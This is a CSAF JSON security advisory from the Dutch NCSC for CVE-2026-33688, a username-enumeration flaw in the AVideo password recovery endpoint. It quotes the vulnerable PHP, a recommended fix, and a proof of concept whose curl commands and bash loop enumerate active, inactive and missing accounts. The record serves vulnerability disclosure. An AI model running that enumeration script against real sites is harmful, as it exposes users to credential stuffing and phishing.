{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33688", "tracking": { "current_release_date": "2026-03-26T00:49:04.064353Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33688", "initial_release_date": "2026-03-24T13:52:11.466225Z", "revision_history": [ { "date": "2026-03-24T13:52:11.466225Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-24T13:52:16.262902Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-24T14:25:36.613222Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-24T14:25:40.993153Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-24T20:49:50.181765Z", "number": "5", "summary": "Unknown change." }, { "date": "2026-03-24T21:37:17.270514Z", "number": "6", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-24T21:37:34.795444Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-25T18:26:49.550317Z", "number": "8", "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-25T18:26:58.071906Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-03-25T20:59:55.510445Z", "number": "10", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-03-25T20:59:58.182983Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-03-26T00:48:46.307026Z", "number": "12", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (18).| Product Identifiers created (17).| References created (3).| CWES updated (1)." } ], "status": "interim", "version": "12" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<=26.0", "product": { "name": "vers:unknown/<=26.0", "product_id": "CSAFPID-5893889", "product_identification_helper": { "cpe": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "AVideo" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/10.4", "product": { "name": "vers:unknown/10.4", "product_id": "CSAFPID-5656122", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@10.4" } } }, { "category": "product_version_range", "name": "vers:unknown/10.8", "product": { "name": "vers:unknown/10.8", "product_id": "CSAFPID-5656123", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@10.8" } } }, { "category": "product_version_range", "name": "vers:unknown/11", "product": { "name": "vers:unknown/11", "product_id": "CSAFPID-5656124", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11" } } }, { "category": "product_version_range", "name": "vers:unknown/11.1", "product": { "name": "vers:unknown/11.1", "product_id": "CSAFPID-5656125", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11.1" } } }, { "category": "product_version_range", "name": "vers:unknown/11.1.1", "product": { "name": "vers:unknown/11.1.1", "product_id": "CSAFPID-5656126", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/11.5", "product": { "name": "vers:unknown/11.5", "product_id": "CSAFPID-5656127", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11.5" } } }, { "category": "product_version_range", "name": "vers:unknown/11.6", "product": { "name": "vers:unknown/11.6", "product_id": "CSAFPID-5656128", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11.6" } } }, { "category": "product_version_range", "name": "vers:unknown/12.4", "product": { "name": "vers:unknown/12.4", "product_id": "CSAFPID-5656129", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@12.4" } } }, { "category": "product_version_range", "name": "vers:unknown/14.3", "product": { "name": "vers:unknown/14.3", "product_id": "CSAFPID-5656130", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@14.3" } } }, { "category": "product_version_range", "name": "vers:unknown/14.3.1", "product": { "name": "vers:unknown/14.3.1", "product_id": "CSAFPID-5656131", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@14.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/14.4", "product": { "name": "vers:unknown/14.4", "product_id": "CSAFPID-5656132", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@14.4" } } }, { "category": "product_version_range", "name": "vers:unknown/18.0", "product": { "name": "vers:unknown/18.0", "product_id": "CSAFPID-5656133", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@18.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.0", "product": { "name": "vers:unknown/21.0", "product_id": "CSAFPID-5721197", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@21.0" } } }, { "category": "product_version_range", "name": "vers:unknown/22.0", "product": { "name": "vers:unknown/22.0", "product_id": "CSAFPID-5772271", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@22.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.0", "product": { "name": "vers:unknown/24.0", "product_id": "CSAFPID-5772272", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@24.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.0", "product": { "name": "vers:unknown/25.0", "product_id": "CSAFPID-5840723", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@25.0" } } }, { "category": "product_version_range", "name": "vers:unknown/26.0", "product": { "name": "vers:unknown/26.0", "product_id": "CSAFPID-5878928", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@26.0" } } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<=26.0", "product": { "name": "vers:unknown/>=0|<=26.0", "product_id": "CSAFPID-5878929" } } ], "category": "product_name", "name": "avideo" } ], "category": "vendor", "name": "WWBN" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33688", "cwe": { "id": "CWE-204", "name": "Observable Response Discrepancy" }, "notes": [ { "category": "description", "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33688" }, { "category": "description", "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33688.json" }, { "category": "description", "text": "## Summary\n\nThe password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks **before** validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.\n\n## Details\n\nIn `objects/userRecoverPass.php`, the request flow is:\n\n1. **Line 11** — A `User` object is instantiated from unsanitized `$_REQUEST['user']` with no authentication:\n```php\n$user = new User(0, $_REQUEST['user'], false);\n```\n\n2. **Lines 27-29** — If the user does not exist, a distinct error is returned immediately:\n```php\nif (empty($user->getStatus())) {\n $obj->error = __(\"User not found\");\n die(json_encode($obj));\n}\n```\n\n3. **Lines 31-33** — If the user exists but is not active, a different distinct error is returned:\n```php\nif ($user->getStatus() !== 'a') {\n $obj->error = __(\"The user is not active\");\n die(json_encode($obj));\n}\n```\n\n4. **Lines 37-41** — Captcha validation only occurs **after** both user enumeration checks:\n```php\nif (empty($_REQUEST['captcha'])) {\n $obj->error = __(\"Captcha is empty\");\n} else {\n require_once 'captcha.php';\n $valid = Captcha::validation($_REQUEST['captcha']);\n```\n\nThis ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.\n\nBy contrast, the registration endpoint (`objects/userCreate.json.php`) correctly validates the captcha at lines 32-42 **before** performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.\n\nNo rate limiting (`rateLimitByIP`) or brute force protection (`bruteForceBlock`) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).\n\n## PoC\n\n```bash\n# 1. Test a non-existent user — returns \"User not found\" without captcha\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n -d 'user=nonexistent_user_xyz&captcha=' | jq .error\n# Response: \"User not found\"\n\n# 2. Test a valid active user — passes user checks, hits captcha validation\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n -d 'user=admin&captcha=' | jq .error\n# Response: \"Captcha is empty\"\n\n# 3. Test an inactive/banned user (if one exists) — returns distinct status message\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n -d 'user=banned_user&captcha=' | jq .error\n# Response: \"The user is not active\"\n\n# 4. Bulk enumeration script — no captcha solving required\nfor user in admin root test user1 user2 moderator editor; do\n result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n -d \"user=${user}&captcha=\")\n error=$(echo \"$result\" | jq -r .error)\n if [ \"$error\" = \"Captcha is empty\" ]; then\n echo \"[ACTIVE] $user\"\n elif [ \"$error\" = \"The user is not active\" ]; then\n echo \"[INACTIVE] $user\"\n else\n echo \"[NOT FOUND] $user\"\n fi\ndone\n```\n\n## Impact\n\n- **Username enumeration**: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.\n- **Account status disclosure**: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.\n- **Credential stuffing enablement**: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.\n- **Phishing**: Knowledge of valid active accounts enables targeted social engineering attacks against real users.\n- **No throttling**: The absence of rate limiting on this endpoint allows high-speed automated enumeration.\n\n## Recommended Fix\n\nMove the captcha validation before the user existence checks, and return a generic message regardless of user status:\n\n```php\n// In objects/userRecoverPass.php, replace lines 26-41 with:\n\n header('Content-Type: application/json');\n\n // Validate captcha FIRST, before any user lookups\n if (empty($_REQUEST['captcha'])) {\n $obj->error = __(\"Captcha is empty\");\n die(json_encode($obj));\n }\n require_once 'captcha.php';\n $valid = Captcha::validation($_REQUEST['captcha']);\n if (!$valid) {\n $obj->error = __(\"Your code is not valid\");\n $obj->reloadCaptcha = true;\n die(json_encode($obj));\n }\n\n // After captcha passes, check user — but use generic message\n if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) {\n // Generic message — do not reveal whether user exists or is active\n $obj->success = __(\"If this account exists, a recovery email has been sent\");\n die(json_encode($obj));\n }\n\n // Proceed with actual password recovery...\n $recoverPass = $user->setRecoverPass();\n```\n\nAdditionally, consider adding `rateLimitByIP()` to this endpoint as defense-in-depth.", "title": "github - https://api.github.com/advisories/GHSA-m99f-mmvg-3xmx" }, { "category": "description", "text": "## Summary\n\nThe password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks **before** validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.\n\n## Details\n\nIn `objects/userRecoverPass.php`, the request flow is:\n\n1. **Line 11** — A `User` object is instantiated from unsanitized `$_REQUEST['user']` with no authentication:\n```php\n$user = new User(0, $_REQUEST['user'], false);\n```\n\n2. **Lines 27-29** — If the user does not exist, a distinct error is returned immediately:\n```php\nif (empty($user->getStatus())) {\n $obj->error = __(\"User not found\");\n die(json_encode($obj));\n}\n```\n\n3. **Lines 31-33** — If the user exists but is not active, a different distinct error is returned:\n```php\nif ($user->getStatus() !== 'a') {\n $obj->error = __(\"The user is not active\");\n die(json_encode($obj));\n}\n```\n\n4. **Lines 37-41** — Captcha validation only occurs **after** both user enumeration checks:\n```php\nif (empty($_REQUEST['captcha'])) {\n $obj->error = __(\"Captcha is empty\");\n} else {\n require_once 'captcha.php';\n $valid = Captcha::validation($_REQUEST['captcha']);\n```\n\nThis ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.\n\nBy contrast, the registration endpoint (`objects/userCreate.json.php`) correctly validates the captcha at lines 32-42 **before** performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.\n\nNo rate limiting (`rateLimitByIP`) or brute force protection (`bruteForceBlock`) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).\n\n## PoC\n\n```bash\n# 1. Test a non-existent user — returns \"User not found\" without captcha\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n -d 'user=nonexistent_user_xyz&captcha=' | jq .error\n# Response: \"User not found\"\n\n# 2. Test a valid active user — passes user checks, hits captcha validation\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n -d 'user=admin&captcha=' | jq .error\n# Response: \"Captcha is empty\"\n\n# 3. Test an inactive/banned user (if one exists) — returns distinct status message\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n -d 'user=banned_user&captcha=' | jq .error\n# Response: \"The user is not active\"\n\n# 4. Bulk enumeration script — no captcha solving required\nfor user in admin root test user1 user2 moderator editor; do\n result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n -d \"user=${user}&captcha=\")\n error=$(echo \"$result\" | jq -r .error)\n if [ \"$error\" = \"Captcha is empty\" ]; then\n echo \"[ACTIVE] $user\"\n elif [ \"$error\" = \"The user is not active\" ]; then\n echo \"[INACTIVE] $user\"\n else\n echo \"[NOT FOUND] $user\"\n fi\ndone\n```\n\n## Impact\n\n- **Username enumeration**: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.\n- **Account status disclosure**: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.\n- **Credential stuffing enablement**: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.\n- **Phishing**: Knowledge of valid active accounts enables targeted social engineering attacks against real users.\n- **No throttling**: The absence of rate limiting on this endpoint allows high-speed automated enumeration.\n\n## Recommended Fix\n\nMove the captcha validation before the user existence checks, and return a generic message regardless of user status:\n\n```php\n// In objects/userRecoverPass.php, replace lines 26-41 with:\n\n header('Content-Type: application/json');\n\n // Validate captcha FIRST, before any user lookups\n if (empty($_REQUEST['captcha'])) {\n $obj->error = __(\"Captcha is empty\");\n die(json_encode($obj));\n }\n require_once 'captcha.php';\n $valid = Captcha::validation($_REQUEST['captcha']);\n if (!$valid) {\n $obj->error = __(\"Your code is not valid\");\n $obj->reloadCaptcha = true;\n die(json_encode($obj));\n }\n\n // After captcha passes, check user — but use generic message\n if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) {\n // Generic message — do not reveal whether user exists or is active\n $obj->success = __(\"If this account exists, a recovery email has been sent\");\n die(json_encode($obj));\n }\n\n // Proceed with actual password recovery...\n $recoverPass = $user->setRecoverPass();\n```\n\nAdditionally, consider adding `rateLimitByIP()` to this endpoint as defense-in-depth.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-m99f-mmvg-3xmx.json?alt=media" }, { "category": "other", "text": "0.00029", "title": "EPSS" }, { "category": "other", "text": "3.7", "title": "NCSC Score" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, The value of the most recent EPSS score, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5893889", "CSAFPID-5656122", "CSAFPID-5656123", "CSAFPID-5656124", "CSAFPID-5656125", "CSAFPID-5656126", "CSAFPID-5656127", "CSAFPID-5656128", "CSAFPID-5656129", "CSAFPID-5656130", "CSAFPID-5656131", "CSAFPID-5656132", "CSAFPID-5656133", "CSAFPID-5721197", "CSAFPID-5772271", "CSAFPID-5772272", "CSAFPID-5840723", "CSAFPID-5878928", "CSAFPID-5878929" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33688" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33688.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-m99f-mmvg-3xmx" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-m99f-mmvg-3xmx.json?alt=media" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/WWBN/AVideo/commit/e42f54123b460fd1b2ee01f2ce3d4a386e88d157" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m99f-mmvg-3xmx" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33688" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-m99f-mmvg-3xmx" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM" }, "products": [ "CSAFPID-5656122", "CSAFPID-5656123", "CSAFPID-5656124", "CSAFPID-5656125", "CSAFPID-5656126", "CSAFPID-5656127", "CSAFPID-5656128", "CSAFPID-5656129", "CSAFPID-5656130", "CSAFPID-5656131", "CSAFPID-5656132", "CSAFPID-5656133", "CSAFPID-5721197", "CSAFPID-5772271", "CSAFPID-5772272", "CSAFPID-5840723", "CSAFPID-5878928", "CSAFPID-5878929", "CSAFPID-5893889" ] } ], "title": "CVE-2026-33688" } ] }